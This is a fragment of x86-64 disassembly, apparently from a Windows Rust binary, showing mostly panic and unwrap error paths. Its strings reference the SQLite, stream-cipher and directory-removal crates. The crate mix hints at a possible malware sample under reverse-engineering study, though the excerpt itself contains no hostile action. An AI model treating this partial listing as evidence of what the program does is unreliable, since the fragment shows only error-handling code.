mov eax, dword [rbp + 0x1b98]
mov dword [rbp + 0x1be8], eax
movaps xmm0, xmmword [rbp + 0x19c0]
movaps xmmword [rbp + 0x19e0], xmm0
mov rax, qword [rbp + 0x19d0]
mov qword [rbp + 0x19f0], rax
mov r8, rbp
mov byte [r8], dil
mov byte [r8 + 1], r13b
mov eax, dword [rbp + 0x1be8]
mov dword [r8 + 2], eax
movzx eax, word [rbp + 0x1bec]
mov word [r8 + 6], ax
mov qword [r8 + 8], r12
movdqa xmm0, xmmword [rbp + 0x19e0]
movdqu xmmword [r8 + 0x10], xmm0
mov rax, qword [rbp + 0x19f0]
mov qword [r8 + 0x20], rax
mov qword [r8 + 0x28], r14
mov qword [r8 + 0x30], r15
mov qword [r8 + 0x38], rsi
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001a9a8
push 0x2b
pop rdx
jmp 0x14001e667
lea rax, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001fcipher_0.4.4_src_stream_core.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140146ca0]
jmp 0x14001e6f2
mov r8, rbp
mov qword [r8], r15
lea rax, str.library_std_src_syswindowsos.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140047830
push 0x2b
pop rdx
call fcn.14013fba0
jmp 0x14001eb15
mov r8, rbp
mov rax, qword [rbp + 0x1bf8]
mov qword [r8], rax
lea rax, str.srclib.rs
jmp 0x14001e99c
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_eb26296b556cef10fb713a38f3d16b9886080f26library_std_src_threadmod.rs_R
lea r8, [0x140155060]
push 0x2b
pop rdx
call fcn.14013f8a0
ud2
mov rax, qword [rbp + 8]
lea r8, [rbp + 0x1410]
mov qword [r8], rax
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140001d57
jmp 0x14001e905
mov r8, rbp
mov byte [r8], r12b
mov eax, dword [rbp + 0x1888]
mov ecx, dword [rbp + 0x188b]
mov dword [r8 + 1], eax
mov dword [r8 + 4], ecx
mov qword [r8 + 8], r15
mov qword [r8 + 0x10], r13
movdqa xmm0, xmmword [rbp + 0x1a20]
movdqa xmm1, xmmword [rbp + 0x1a30]
movdqu xmmword [r8 + 0x18], xmm0
movdqu xmmword [r8 + 0x28], xmm1
mov rax, qword [rbp + 0x1a40]
mov qword [r8 + 0x38], rax
lea rax, str.srclib.rs
jmp 0x14001e8f2
lea rax, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rusqlite_0.28.0_srclib.rs
jmp 0x14001ea73
movdqu xmm0, xmmword [rbp + 8]
movdqu xmm1, xmmword [rbp + 0x18]
movdqu xmm2, xmmword [rbp + 0x28]
movups xmm3, xmmword [rbp + 0x38]
lea r8, [rbp + 0x1410]
movaps xmmword [r8 + 0x30], xmm3
movdqa xmmword [r8 + 0x20], xmm2
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srclib.rs
jmp 0x14001e8f2
cdqe
mov r8, rbp
mov byte [r8], 0x11
and qword [r8 + 8], 0
mov qword [r8 + 0x10], rax
lea rax, str.srclib.rs
jmp 0x14001e8f2
lea rax, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rusqlite_0.28.0_srccache.rs
mov qword [rsp + 0x20], rax
lea rcx, str.already_borrowedalready_mutably_borrowed_rustc_eb26296b556cef10fb713a38f3d16b9886080f26librarycore_src_sync_atomic.rsthere_is_no_such_thing_as_a_release_load
lea r9, [0x140146c00]
jmp 0x14001e65d
mov rax, rbp
mov qword [rbp + 0x1a20], rax
lea rax, str.Error_while_closing_SQLite_connection:
lea rcx, [rbp + 0x1030]
mov qword [rcx], rax
push 1
pop rax
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [0x140039a14]
mov qword [rbp + 0x1a28], rdx
lea rdx, [rbp + 0x1a20]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rusqlite_0.28.0_srcinner_connection.rs
jmp 0x14001e6d1
lea rax, [0x1401551b0]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_eb26296b556cef10fb713a38f3d16b9886080f26library_std_src_threadlocal.rs
lea r9, [0x14014aee0]
push 0x46
jmp 0x14001e65f
ud2
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.14013f820
ud2
lea r8, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_remove_dir_all_0.5.3_src_fs.rsrm_
mov rcx, r14
mov rdx, rbx
call fcn.14013f820
ud2